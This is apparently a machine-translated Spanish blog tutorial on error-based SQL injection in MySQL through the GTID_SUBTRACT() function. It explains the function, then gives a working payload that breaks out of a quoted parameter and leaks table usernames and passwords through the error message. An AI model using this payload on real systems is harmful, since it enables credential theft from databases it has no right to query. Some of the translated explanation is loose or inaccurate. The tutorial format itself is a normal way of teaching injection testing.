[sql injection-error injection 2] GTID_SUBTRACT() inyección de error de función

Tabla de contenido

Inyección de error de GTID_SUBTRACT()

1. Introducción a la gramática:

2. El motivo del error

grupo de seguridad de la red


(***Nota: Preste atención a los requisitos de la versión)

GTID_SUBTRACT () inyección de error

1. Introducción a la gramática:

Versión:

MySQL >=5.6

La función GTID_SUBTRACT() es una función en MySQL que calcula la diferencia entre dos identificadores de transacciones globales (GTID). GTID es un identificador de transacción global introducido en MySQL 5.6, que se usa para rastrear transacciones en la base de datos.


gramática:

GTID_SUBTRACT(gtid_set, gtid)

Entre ellos, gtid_set es un conjunto de GTID y gtid es un solo GTID. Esta función devuelve un nuevo conjunto de GTID que representa el resto después de restar gtid de gtid_set


principio:

  1. Primero, divida el gtid_set en GTID individuales.
  2. Luego, itere a través de cada GTID, verificando si es el mismo que el gtid. Si es el mismo, se elimina del gtid_set.
  3. Finalmente, vuelva a ensamblar los GTID restantes en un nuevo conjunto de GTID y regrese


Escenas a utilizar:

  1. Replicación de la base de datos: cuando se ejecuta una transacción en la base de datos maestra, se genera un GTID y se pasa a la base de datos esclava. La base de datos esclava puede usar la función GTID_SUBTRACT() para calcular la diferencia entre las bases de datos maestra y esclava para determinar qué datos deben replicarse.
  2. Migración de base de datos: cuando necesite migrar datos de una base de datos a otra, puede usar la función GTID_SUBTRACT() para calcular la diferencia entre las dos bases de datos y copiar solo los datos en la diferencia



2. El motivo del error

causa:

1. GTID (ID de transacción global) es un identificador único que se utiliza para identificar transacciones globales en MySQL

2. La función GTID_SUBTRACT() se puede usar para calcular la diferencia entre dos conjuntos de GTID para determinar qué transacciones existen en un conjunto de GTID pero no existen en otro conjunto de GTID.

3. Inyecte código SQL malicioso en los parámetros gtid_set1 o gtid_set2. De esta forma, cuando se ejecute la función GTID_SUBTRACT(), se ejecutará el código malicioso


carga útil:

select GTID_SUBTRACT(user(),1)

') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from 表名),0x7e),1)--+

//GROUP_CONCAT()函数将它们组合成一个字符串
//concat()函数用于连接字符串
//0x7e表示波浪符(~)


Gráfico:

root@localhost

 



grupo de seguridad de la red

README.md Libro Bansheng/Network Security Knowledge System-Practice Center-Code Cloud-Open Source China (gitee.com)https://gitee.com/shubansheng/Treasure_knowledge/blob/master/README.md icono-predeterminado.png?t=N658https://gitee. com/shubansheng/Treasure_knowledge/blob/master/README.md

GitHub - BLACKxZONE/Treasure_knowledge https://github.com/BLACKxZONE/Treasure_knowledge

Supongo que te gusta

Origin blog.csdn.net/qq_53079406/article/details/131635814
Recomendado
Clasificación